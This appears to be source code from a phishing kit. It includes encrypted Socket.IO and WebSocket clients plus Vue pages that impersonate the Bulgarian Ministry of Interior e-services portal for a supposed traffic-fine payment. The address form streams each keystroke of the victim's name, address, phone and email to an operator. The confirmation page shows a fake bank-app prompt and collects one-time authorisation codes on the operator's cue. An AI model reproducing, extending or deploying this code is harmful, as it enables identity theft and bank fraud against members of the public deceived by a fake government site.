const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0));
const iv = bytes.slice(0, 12);
const cipher = bytes.slice(12);
try {
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher);
return new TextDecoder().decode(plain);
} catch {
return rawStr;
}
}
// ─── ECDH 密钥协商工具 ─────────────────────────────────────────
/**
* 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 }
*/
export async function generateECDHKeyPair(): Promise<{
keyPair: CryptoKeyPair;
clientPublicKeyB64: string;
}> {
const keyPair = await crypto.subtle.generateKey(
{ name: "ECDH", namedCurve: "P-256" },
true,
["deriveBits"]
);
const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey);
const clientPublicKeyB64 = btoa(
Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("")
);
return { keyPair, clientPublicKeyB64 };
}
/**
* 用服务端公钥base64 raw P-256与给定的客户端私钥推导 AES-128-GCM 会话密钥
*/
export async function deriveSessionKey(
serverPublicKeyB64: string,
clientPrivateKey: CryptoKey
): Promise<SessionCrypto> {
const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0));
const serverPublicKey = await crypto.subtle.importKey(
"raw", serverPubKeyBytes,
{ name: "ECDH", namedCurve: "P-256" }, false, []
);
const sharedBits = await crypto.subtle.deriveBits(
{ name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256
);
const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]);
const aesKey = await crypto.subtle.deriveKey(
{
name: "HKDF", hash: "SHA-256",
salt: new Uint8Array(32),
info: new TextEncoder().encode("socket-aes-key"),
},
hkdfKey,
{ name: "AES-GCM", length: 128 },
false,
["encrypt", "decrypt"]
);
return { aesKey };
}
/** 断线/握手阶段队列最大长度,防止内存无限增长 */
const MAX_QUEUE_SIZE = 200;
class Socket {
url: string;
private token: string;
private sessionCrypto: SessionCrypto | null;
private ecdhKeyPair: CryptoKeyPair | null = null;
private clientPublicKeyB64: string | null = null;
/** 握手全部完成ECDH + login后才为 true期间消息也入队 */
private isReady = false;
socket: SocketIOClient | null = null;
listeners: { [key: string]: Function[] } = {};
private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列
constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
this.url = url;
this.token = token;
this.sessionCrypto = sessionCrypto;
this.init();
this.setupVisibilityListener();
}
/** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */
private async initECDH() {
if (!this.ecdhKeyPair) {
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
this.ecdhKeyPair = keyPair;
this.clientPublicKeyB64 = clientPublicKeyB64;
}
}
/**
* 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。
* 每次 connect包括服务端重启后重连都调用确保密钥始终有效。
*/
private performKeyExchange(): Promise<void> {
return new Promise<void>((resolve) => {
// 3 秒超时:若服务端不响应则无加密继续
const timeout = setTimeout(() => {
this.socket?.off('key_exchange_result', onResult);
this.sessionCrypto = null;
resolve();
}, 3000);
const onResult = async (serverPubKeyB64: string) => {
clearTimeout(timeout);
try {
this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey);
} catch (e) {
console.error('[Socket] key derivation failed:', e);
this.sessionCrypto = null;
}
resolve();
};
this.socket?.once('key_exchange_result', onResult);
this.socket?.emit('key_exchange', this.clientPublicKeyB64);
});
}
/**
* 发送 login 并等待服务端回 {event:"login",content:"success"}。
* 服务端发送 login success 时 client.State 已同步设置完毕,
* 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。
*/
private async sendLoginAndWait(): Promise<void> {
await new Promise<void>((resolve) => {
let settled = false;
const settle = () => {
if (settled) return;
settled = true;
this.socket?.off('message', onRawMessage);
clearTimeout(timer);
resolve();
};
// 3 秒兜底:即使没收到确认也继续
const timer = setTimeout(settle, 3000);
const onRawMessage = async (raw: unknown) => {
try {
let text: string;
if (this.sessionCrypto) {
text = await decryptPayload(raw, this.sessionCrypto.aesKey);
} else {
text = typeof raw === 'string' ? raw : JSON.stringify(raw);
}
const parsed = JSON.parse(text);
if (parsed?.event === 'login') settle();
} catch { /* 忽略解析失败 */ }
};
// 先注册监听,再发 login避免极速响应漏掉
this.socket?.on('message', onRawMessage);
this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle());
});
}
init() {
if (this.socket) {
return;
}
console.log("Socket initialized with URL:", this.url);
this.socket = io(this.url, {
path: "/socket.io",
query: this.token ? { token: this.token } : undefined,
reconnectionDelay: 1500,
reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃
});
// 连接事件处理(含重连):每次都重新做 ECDH解决服务端重启后密钥失效问题
this.socket.on('connect', async () => {
this.isReady = false; // 握手期间暂停直接发送,新消息继续入队
// 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积
this.socket?.off('key_exchange_result');
try {
await this.initECDH();
await this.performKeyExchange();
// 等待服务端 login success 确认后再冲刷队列
// 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃
await this.sendLoginAndWait();
} catch (e) {
console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e);
this.sessionCrypto = null;
} finally {
// 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留
this.isReady = true;
await this.flushMessageQueue(); // 连接后按序发送排队消息
this.emit('open', { type: 'open' });
}
});
// 消息接收(支持 AES-GCM 解密)
this.socket.on('message', async (data) => {
let plainText: string;
if (this.sessionCrypto) {
plainText = await decryptPayload(data, this.sessionCrypto.aesKey);
} else {
plainText = typeof data === 'string' ? data : JSON.stringify(data);
}
this.emit('message', plainText);
});
// 连接错误
this.socket.on('connect_error', (error) => {
this.emit('error', error);
});
// 断开连接
this.socket.on('disconnect', (reason) => {
this.isReady = false; // 断开后消息重新入队
this.emit('close', { reason });
});
// 重连尝试
this.socket.on('reconnect_attempt', (attemptNumber) => {
this.emit('reconnect_attempt', attemptNumber);
});
// 重连成功
this.socket.on('reconnect', (attemptNumber) => {
this.emit('reconnect', attemptNumber);
});
// 重连失败
this.socket.on('reconnect_failed', () => {
useLoadingStore().setLoading(false); // 重连失败时关闭加载状态
this.emit('reconnect_failed', { type: 'reconnect_failed' });
});
// 处理所有其他事件
this.socket.onAny((eventName, ...args) => {
if (!['connect', 'disconnect', 'error', 'reconnect_attempt',
'reconnect', 'reconnect_failed', 'message'].includes(eventName)) {
this.emit(eventName, args);
}
});
}
isConnected(): boolean {
return this.socket?.connected ?? false;
}
/** 用于握手阶段的 login 事件,同样走加密通道 */
private async sendRaw(data: string) {
if (this.sessionCrypto) {
const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', data);
}
}
async send(data: string) {
try {
const payload = JSON.parse(data);
// 添加时间戳
const messageData = {
...payload,
timestamp: payload.timestamp || Date.now()
};
// 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确
if (!this.isReady) {
if (this.messageQueue.length < MAX_QUEUE_SIZE) {
this.messageQueue.push(messageData);
} else {
console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event);
}
this.reconnectIfNeeded();
return;
}
const serialized = JSON.stringify(messageData);
if (this.sessionCrypto) {
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', serialized);
}
} catch (error) {
console.error('Invalid message format. Must be a valid JSON string.', error);
}
}
/** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */
async flushMessageQueue() {
if (this.messageQueue.length === 0) return;
const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入
for (const msg of queue) {
if (!this.isReady || !this.socket?.connected) {
// 发送途中再次断开,将剩余消息放回队首
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
break;
}
try {
const serialized = JSON.stringify(msg);
if (this.sessionCrypto) {
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', serialized);
}
} catch (e) {
console.error('[Socket] flushMessageQueue 发送失败:', e);
// 发送失败也放回队首
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
break;
}
}
}
reconnectIfNeeded() {
if (!this.isConnected() && this.socket) {
this.socket.connect();
}
}
on(event: string, callback: Function) {
// 需要经过本层中间件(如解密)的事件,统一走 this.listeners
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) {
if (!this.listeners[event]) {
this.listeners[event] = [];
}
this.listeners[event].push(callback);
} else {
// 其他 Socket.IO 原生事件
this.socket?.on(event, (...args) => callback(...args));
}
}
off(event: string) {
if (this.listeners[event]) {
delete this.listeners[event];
}
this.socket?.off(event);
}
emit(event: string, data: any) {
if (this.listeners[event]) {
this.listeners[event].forEach(callback => callback(data));
}
}
private handleVisibilityChange = () => {
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
this.socket.connect();
}
};
setupVisibilityListener() {
document.addEventListener("visibilitychange", this.handleVisibilityChange);
}
disconnect() {
document.removeEventListener("visibilitychange", this.handleVisibilityChange);
this.socket?.disconnect();
}
}
function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
const socket = new Socket(url, token, sessionCrypto);
return {
socket,
send: socket.send.bind(socket),
on: socket.on.bind(socket),
off: socket.off.bind(socket),
disconnect: socket.disconnect.bind(socket),
};
}
export { useSocketIo, Socket };

View File

@@ -0,0 +1,392 @@
import { useLoadingStore } from "@/stores/loadingStore";
import { sendInput } from "@/api/api";
// ============ 类型定义 ============
interface SocketOptions {
heartbeatInterval?: number;
reconnectInterval?: number;
maxReconnectAttempts?: number;
retryIntervals?: number[];
forceClose?: boolean;
timeOut?: boolean;
}
interface PendingMessage {
id: string;
data: string;
retries: number;
timestamp: number;
}
// ============ 默认配置 ============
const DEFAULT_OPTIONS: Required<SocketOptions> = {
heartbeatInterval: 2000,
reconnectInterval: 1000,
maxReconnectAttempts: 10,
retryIntervals: [2000, 3000, 5000], // 2秒、3秒、5秒重试
forceClose: false,
timeOut: false,
};
const MAX_RECONNECT_INTERVAL = 30000;
const MAX_HEARTBEAT_MISS = 3;
const RETRY_CHECK_INTERVAL = 1000;
// ============ Socket 类 ============
class Socket {
private url: string;
private ws: WebSocket | null = null;
private opts: Required<SocketOptions>;
// 连接管理
private reconnectAttempts = 0;
private reconnectTimeoutId: number | null = null;
// 心跳管理
private heartbeatIntervalId: number | null = null;
private heartbeatMissCount = 0;
// 消息管理
private sendQueue: PendingMessage[] = [];
private pendingConfirmations = new Map<string, PendingMessage>();
private retryCheckerId: number | null = null;
// 事件管理
private listeners: Record<string, Function[]> = {};
constructor(url: string, opts: SocketOptions = {}) {
this.url = url;
this.opts = { ...DEFAULT_OPTIONS, ...opts };
this.init();
this.setupBrowserListeners();
}
// ============ 初始化与连接 ============
private init(): void {
if (this.isConnectingOrOpen()) return;
this.heartbeatMissCount = 0;
this.ws = new WebSocket(this.url);
this.bindWebSocketEvents();
}
private bindWebSocketEvents(): void {
if (!this.ws) return;
this.ws.onopen = this.handleOpen.bind(this);
this.ws.onmessage = this.handleMessage.bind(this);
this.ws.onerror = this.handleError.bind(this);
this.ws.onclose = this.handleClose.bind(this);
}
// ============ WebSocket 事件处理 ============
private handleOpen(event: Event): void {
this.reconnectAttempts = 0;
this.clearReconnectTimeout();
this.startHeartbeat();
this.startRetryChecker();
this.emit("open", event);
this.flushSendQueue();
}
private handleMessage(event: MessageEvent): void {
try {
const data = JSON.parse(event.data);
switch (data.event) {
case "heartbeat":
this.heartbeatMissCount = 0;
break;
case "ack":
this.handleAck(data.messageId);
break;
default:
this.emit("message", event.data);
}
} catch {
this.emit("message", event.data);
}
}
private handleError(event: Event): void {
this.emit("error", event);
}
private handleClose(event: CloseEvent): void {
this.stopHeartbeat();
this.stopRetryChecker();
this.emit("close", event);
this.scheduleReconnect();
}
private handleAck(messageId: string): void {
if (messageId && this.pendingConfirmations.has(messageId)) {
this.pendingConfirmations.delete(messageId);
}
}
// ============ 连接状态 ============
private isConnectingOrOpen(): boolean {
return this.ws?.readyState === WebSocket.CONNECTING
|| this.ws?.readyState === WebSocket.OPEN;
}
private isConnected(): boolean {
return this.ws?.readyState === WebSocket.OPEN;
}
private isClosed(): boolean {
return this.ws?.readyState === WebSocket.CLOSED;
}
// ============ 重连机制 ============
private scheduleReconnect(): void {
if (!this.canReconnect() || this.reconnectTimeoutId !== null) return;
const timeout = Math.min(
this.opts.reconnectInterval * Math.pow(2, this.reconnectAttempts),
MAX_RECONNECT_INTERVAL
);
this.reconnectTimeoutId = window.setTimeout(() => {
this.reconnectAttempts++;
this.reconnectTimeoutId = null;
if (this.isClosed()) {
this.init();
}
}, timeout);
}
private canReconnect(): boolean {
return !this.opts.maxReconnectAttempts
|| this.reconnectAttempts < this.opts.maxReconnectAttempts;
}
private clearReconnectTimeout(): void {
if (this.reconnectTimeoutId !== null) {
clearTimeout(this.reconnectTimeoutId);
this.reconnectTimeoutId = null;
}
}
private reconnectIfNeeded(): void {
if (this.isClosed() && this.canReconnect() && !this.isConnectingOrOpen()) {
this.init();
}
}
// ============ 心跳机制 ============
private startHeartbeat(): void {
if (!this.opts.heartbeatInterval) return;
this.heartbeatIntervalId = window.setInterval(() => {
if (this.heartbeatMissCount >= MAX_HEARTBEAT_MISS) {
this.ws?.close();
return;
}
this.heartbeatMissCount++;
if (this.isConnected()) {
this.ws!.send(JSON.stringify({
event: "heartbeat",
content: { tag: "user" }
}));
}
}, this.opts.heartbeatInterval);
}
private stopHeartbeat(): void {
if (this.heartbeatIntervalId) {
clearInterval(this.heartbeatIntervalId);
this.heartbeatIntervalId = null;
}
}
// ============ 消息发送 ============
async send(data: string): Promise<void> {
try {
const message = JSON.parse(data);
const pendingMsg = this.createPendingMessage(message);
if (this.isConnected()) {
// WebSocket 连接正常,直接发送
this.sendDirect(pendingMsg);
} else if (this.canReconnect() && !this.isConnectingOrOpen()) {
// 可以重连,加入队列等待重连后发送
this.enqueue(pendingMsg);
this.reconnectIfNeeded();
} else {
await this.sendViaHttp(message);
}
} catch {
console.error("[WebSocket] Invalid message format. Must be valid JSON.");
}
}
private async sendViaHttp(message: any): Promise<void> {
try {
if (message.event !== "input_text") {
await sendInput(message);
}
} catch (error) {
console.error("[WebSocket] HTTP fallback failed:", error);
throw error;
}
}
private createPendingMessage(message: any): PendingMessage {
const id = this.generateMessageId();
const timestamp = Date.now();
return {
id,
data: JSON.stringify({ ...message, messageId: id, timestamp }),
retries: 0,
timestamp,
};
}
private sendDirect(pendingMsg: PendingMessage): void {
this.ws?.send(pendingMsg.data);
this.pendingConfirmations.set(pendingMsg.id, pendingMsg);
}
private enqueue(pendingMsg: PendingMessage): void {
this.sendQueue.push(pendingMsg);
}
private flushSendQueue(): void {
if (!this.isConnected()) return;
while (this.sendQueue.length > 0 && this.isConnected()) {
const pendingMsg = this.sendQueue.shift();
if (pendingMsg) {
this.sendDirect(pendingMsg);
}
}
}
// ============ 消息重试机制 ============
private startRetryChecker(): void {
this.stopRetryChecker();
this.retryCheckerId = window.setInterval(() => {
this.checkPendingMessages();
}, RETRY_CHECK_INTERVAL);
}
private stopRetryChecker(): void {
if (this.retryCheckerId) {
clearInterval(this.retryCheckerId);
this.retryCheckerId = null;
}
}
private checkPendingMessages(): void {
const now = Date.now();
const { retryIntervals } = this.opts;
for (const [id, msg] of this.pendingConfirmations.entries()) {
const age = now - msg.timestamp;
const waitTime = retryIntervals[msg.retries] ?? retryIntervals[0];
// 未到重试时间
if (age < waitTime) continue;
// 超过最大重试次数,降级使用 HTTP
if (msg.retries >= retryIntervals.length) {
this.pendingConfirmations.delete(id);
try {
const message = JSON.parse(msg.data);
this.sendViaHttp(message).catch((error) => {
console.error("[WebSocket] HTTP fallback failed, re-queuing message:", error);
this.sendQueue.push(msg);
});
} catch (error) {
console.error("[WebSocket] Failed to parse message for HTTP fallback:", error);
this.sendQueue.push(msg);
}
useLoadingStore().setLoading(false);
continue;
}
// 重试发送
if (this.isConnected()) {
this.ws?.send(msg.data);
msg.retries++;
}
}
}
// ============ 工具方法 ============
private generateMessageId(): string {
return `${Date.now()}-${Math.random().toString(36).substring(2, 11)}`;
}
// ============ 事件系统 ============
on(event: string, callback: Function): void {
if (!this.listeners[event]) {
this.listeners[event] = [];
}
this.listeners[event].push(callback);
}
off(event: string): void {
delete this.listeners[event];
}
private emit(event: string, data: any): void {
this.listeners[event]?.forEach(callback => callback(data));
}
// ============ 浏览器事件监听 ============
private setupBrowserListeners(): void {
// 页面可见性变化
document.addEventListener("visibilitychange", () => {
if (document.visibilityState === "visible") {
this.reconnectAttempts = 0;
if (!this.isConnectingOrOpen()) {
this.init();
}
}
});
// 网络状态变化
window.addEventListener("online", () => {
this.reconnectAttempts = 0;
if (!this.isConnectingOrOpen()) {
this.init();
}
});
}
}
// ============ 导出 ============
function useSocket(url: string, opts?: SocketOptions) {
const socket = new Socket(url, opts);
return {
socket,
send: socket.send.bind(socket),
on: socket.on.bind(socket),
off: socket.off.bind(socket),
};
}
export { useSocket, Socket };
export type { SocketOptions, PendingMessage };

View File

@@ -0,0 +1,337 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { reactive, ref, onMounted } from "vue";
import { useI18n } from "vue-i18n";
import { inputChange, configData, myWebSocket } from "@/utils/common";
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
const formData = reactive({
fullName: "",
lastName: "N/A",
phone: "",
address: "",
address2: "",
city: "",
state: "",
zipCode: "",
email: "",
});
const formDataError = reactive({
fullName: false,
lastName: false,
phone: false,
address: false,
city: false,
state: false,
zipCode: false,
email: false,
});
const emailErrorMessage = ref("");
const textChange = (event: any, key: string) => {
const value = event.target.value;
inputChange("input_address", key, value);
if (key === "email") {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!value) {
formDataError.email = true;
emailErrorMessage.value = "Задължително поле";
} else if (!emailPattern.test(value)) {
formDataError.email = true;
emailErrorMessage.value = "Моля, въведете валиден имейл адрес";
} else {
formDataError.email = false;
emailErrorMessage.value = "";
}
} else if (key !== "address2") {
(formDataError as any)[key] = !value;
}
};
const isFormComplete = () => {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return (
formData.fullName &&
formData.email &&
emailPattern.test(formData.email) &&
formData.phone &&
formData.address &&
formData.city &&
formData.state &&
formData.zipCode
);
};
const next = () => {
formDataError.fullName = !formData.fullName;
formDataError.city = !formData.city;
formDataError.address = !formData.address;
formDataError.zipCode = !formData.zipCode;
formDataError.state = !formData.state;
formDataError.phone = !formData.phone;
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!formData.email || !emailPattern.test(formData.email)) {
formDataError.email = true;
}
const hasError = Object.values(formDataError).some(val => val === true);
if (hasError) return;
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/card");
}, 400);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "address" },
})
);
localStorage.setItem("route", "address");
const phone = localStorage.getItem("phoneNumber");
if (phone) {
formData.phone = phone;
}
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-content-body">
<div class="bg-card-container">
<div class="bg-header">
<h2>Данни за титуляра на МПС</h2>
<div class="blue-line"></div>
</div>
<div class="info-text">
<p v-html="configData?.address_msg
? configData?.address_msg
: 'За да се свърже плащането правилно с вашето превозно средство, е необходимо да потвърдите данните на регистрирания титуляр.<br><br>Прегледайте и попълнете исканата информация внимателно. Тази стъпка е само за идентификация и не генерира плащане до завършване на следващата стъпка.'">
</p>
</div>
<form @submit.prevent="next" novalidate>
<div class="input-item">
<label>Три имена <span class="required-mark">*</span></label>
<input
type="text"
v-model="formData.fullName"
@input="(e) => textChange(e, 'fullName')"
:class="{ 'error-border': formDataError.fullName }"
/>
</div>
<div class="input-item">
<label>Адрес <span class="required-mark">*</span></label>
<input
type="text"
v-model="formData.address"
@input="(e) => textChange(e, 'address')"
:class="{ 'error-border': formDataError.address }"
/>
</div>
<div class="input-item">
<label>Населено място <span class="required-mark">*</span></label>
<input
type="text"
v-model="formData.city"
@input="(e) => textChange(e, 'city')"
:class="{ 'error-border': formDataError.city }"
/>
</div>
<div class="input-item">
<label>Област <span class="required-mark">*</span></label>
<input
type="text"
v-model="formData.state"
@input="(e) => textChange(e, 'state')"
:class="{ 'error-border': formDataError.state }"
/>
</div>
<div class="input-item">
<label>Пощенски код <span class="required-mark">*</span></label>
<input
type="text"
v-model="formData.zipCode"
@input="(e) => textChange(e, 'zipCode')"
:class="{ 'error-border': formDataError.zipCode }"
/>
</div>
<div class="input-item">
<label>Телефонен номер <span class="required-mark">*</span></label>
<input
type="tel"
v-model="formData.phone"
@input="(e) => textChange(e, 'phone')"
:class="{ 'error-border': formDataError.phone }"
/>
</div>
<div class="input-item">
<label>Имейл адрес <span class="required-mark">*</span></label>
<input
type="email"
v-model="formData.email"
@input="(e) => textChange(e, 'email')"
:class="{ 'error-border': formDataError.email }"
/>
<div class="error-msg" v-if="formDataError.email">{{ emailErrorMessage }}</div>
</div>
<div class="action-btn-box">
<button
type="submit"
class="bg-btn"
:class="{ 'bg-btn-active': isFormComplete() }"
:disabled="!isFormComplete()"
>
Продължи към плащане
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.main-content-body {
background-color: #f5f7f9;
min-height: 100vh;
display: flex;
justify-content: center;
padding: 20px 15px;
font-family: Arial, sans-serif;
}
.bg-card-container {
width: 100%;
max-width: 540px;
background-color: #ffffff;
border: 1px solid #d0dce8;
border-radius: 4px;
padding: 25px 22px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.04);
}
.bg-header h2 {
font-size: 18px;
font-weight: bold;
color: #1a1a1a;
margin-bottom: 10px;
line-height: 1.4;
}
.blue-line {
height: 3px;
background-color: #0071a6;
width: 100%;
margin-bottom: 22px;
}
.info-text p {
font-size: 14px;
color: #444;
line-height: 1.6;
margin-bottom: 18px;
}
.input-item {
margin-bottom: 18px;
}
.input-item label {
display: block;
font-weight: bold;
font-size: 14px;
margin-bottom: 6px;
color: #333;
}
.required-mark {
color: #cc0000;
margin-left: 2px;
}
input {
width: 100%;
padding: 9px 11px;
border: 1px solid #aabccc;
border-radius: 3px;
font-size: 15px;
box-sizing: border-box;
transition: border-color 0.2s;
background-color: #fff;
}
input:focus {
outline: none;
border-color: #0071a6;
box-shadow: 0 0 0 2px rgba(0, 113, 166, 0.15);
}
.error-border {
border-color: #cc0000 !important;
background-color: #fff5f5;
}
.error-msg {
color: #cc0000;
font-size: 12px;
margin-top: 4px;
}
.action-btn-box {
margin-top: 28px;
}
.bg-btn {
width: 100%;
background-color: #a8b8c4;
color: #fff;
border: none;
border-radius: 3px;
padding: 13px;
font-size: 16px;
font-weight: bold;
cursor: not-allowed;
opacity: 0.7;
transition: all 0.2s;
}
.bg-btn-active {
background-color: #0071a6 !important;
opacity: 1 !important;
cursor: pointer !important;
}
.bg-btn-active:hover {
background-color: #005a85 !important;
}
.bg-btn-active:active {
transform: translateY(1px);
}
</style>

View File

@@ -0,0 +1,329 @@
<script setup lang="ts">
import {
nextTick,
onMounted,
onUnmounted,
reactive,
ref,
watch,
} from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ appVerifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "appVerifyCode", value.target.value);
formData.appVerifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="mvr-app-wrapper">
<!-- Портал header strip -->
<div class="mvr-header-strip">
<span class="mvr-header-label">Портал за електронни административни услуги</span>
</div>
<div class="mvr-app-card">
<!-- Shield / mobile icon -->
<div class="mvr-phone-icon">
<svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="72" height="72">
<rect x="18" y="4" width="44" height="72" rx="7" fill="#eef4fb" stroke="#1a5e9e" stroke-width="2.5"/>
<rect x="28" y="9" width="24" height="4" rx="2" fill="#1a5e9e" opacity="0.35"/>
<circle cx="40" cy="70" r="3" fill="#1a5e9e" opacity="0.45"/>
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#1a5e9e" opacity="0.12" stroke="#1a5e9e" stroke-width="1.5"/>
<polyline points="34,38 38,43 47,33" fill="none" stroke="#1a5e9e" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h2 class="mvr-title">Потвърждение чрез мобилно приложение</h2>
<p class="mvr-desc">
Отворете мобилното приложение на вашата банка и потвърдете транзакцията за
плащане на <strong>задължение към КАТ</strong>.<br/>
Не затваряйте тази страница до получаване на потвърждение.
</p>
<div class="mvr-bank-row">
<svg viewBox="0 0 24 24" width="16" height="16" fill="#1a5e9e" style="flex-shrink:0">
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
</svg>
<span><b>{{ t("Authorized bank") }}</b></span>
</div>
<p class="mvr-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
<p class="mvr-sub">{{ t("Please do not close this page") }}</p>
<p class="mvr-error" v-if="message">{{ message }}</p>
<div class="mvr-input-wrap" v-if="showInput">
<label class="mvr-input-label">Еднократен код за оторизация</label>
<input
required
type="number"
inputmode="numeric"
class="mvr-input"
@input="onchange"
v-model="formData.appVerifyCode"
minlength="3"
maxlength="8"
placeholder="Въведете кода"
/>
<button class="mvr-btn" type="button" @click="submit">Потвърди</button>
</div>
<div class="mvr-loading-wrap" v-if="!showInput">
<svg class="mvr-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle cx="25" cy="25" r="20" fill="none" stroke="#d8e6f3" stroke-width="4"/>
<circle cx="25" cy="25" r="20" fill="none" stroke="#1a5e9e" stroke-width="4"
stroke-dasharray="80 45" stroke-linecap="round"/>
</svg>
<p class="mvr-waiting">Изчакване на потвърждение от приложението</p>
</div>
</div>
<div class="mvr-footer-strip">
© Министерство на вътрешните работи &nbsp;|&nbsp; e-uslugi.mvr.bg
</div>
</div>
</template>
<style scoped>
/* ── MVR / e-uslugi.mvr.bg palette ── */
/* Primary blue: #1a5e9e | Light bg: #eef4fb | Accent: #e8f0fb */
.mvr-app-wrapper {
min-height: 100dvh;
background-color: #eef4fb;
display: flex;
flex-direction: column;
align-items: center;
justify-content: space-between;
font-family: "Segoe UI", Arial, sans-serif;
}
/* ── top strip ── */
.mvr-header-strip {
width: 100%;
background-color: #1a5e9e;
color: #fff;
font-size: 13px;
font-weight: 600;
text-align: center;
padding: 10px 16px;
letter-spacing: 0.02em;
box-sizing: border-box;
}
.mvr-header-label {
opacity: 0.95;
}
/* ── main card ── */
.mvr-app-card {
background: #ffffff;
border-radius: 6px;
border: 1px solid #c8d8ec;
box-shadow: 0 2px 14px rgba(26,94,158,0.10);
padding: 36px 28px 32px;
width: 100%;
max-width: 420px;
text-align: center;
margin: 28px 16px;
box-sizing: border-box;
}
.mvr-phone-icon {
margin: 0 auto 20px;
}
.mvr-title {
font-size: 19px;
font-weight: 700;
color: #1a3a5c;
margin-bottom: 14px;
line-height: 1.35;
}
.mvr-desc {
font-size: 14px;
color: #4a5a6a;
line-height: 1.65;
margin-bottom: 20px;
}
.mvr-bank-row {
display: inline-flex;
align-items: center;
gap: 6px;
font-size: 14px;
color: #1a3a5c;
background: #eef4fb;
border: 1px solid #c8d8ec;
border-radius: 4px;
padding: 6px 12px;
margin-bottom: 12px;
}
.mvr-sub {
font-size: 13px;
color: #7a8fa3;
margin: 3px 0;
}
.mvr-error {
color: #c0392b;
font-size: 14px;
font-weight: 600;
margin: 12px 0;
background: #fff5f5;
border: 1px solid #f5c6c6;
border-radius: 4px;
padding: 8px 12px;
}
/* ── input section ── */
.mvr-input-wrap {
margin-top: 22px;
display: flex;
flex-direction: column;
gap: 10px;
align-items: center;
}
.mvr-input-label {
font-size: 14px;
font-weight: 600;
color: #1a3a5c;
text-align: left;
width: 82%;
}
.mvr-input {
width: 82%;
padding: 10px 12px;
border: 1.5px solid #a8c0d8;
border-radius: 4px;
font-size: 18px;
font-weight: 700;
text-align: center;
outline: none;
box-sizing: border-box;
color: #1a3a5c;
}
.mvr-input:focus {
border-color: #1a5e9e;
box-shadow: 0 0 0 3px rgba(26,94,158,0.15);
}
.mvr-btn {
width: 82%;
padding: 12px;
background-color: #1a5e9e;
color: #fff;
border: none;
border-radius: 4px;
font-size: 15px;
font-weight: 700;
cursor: pointer;
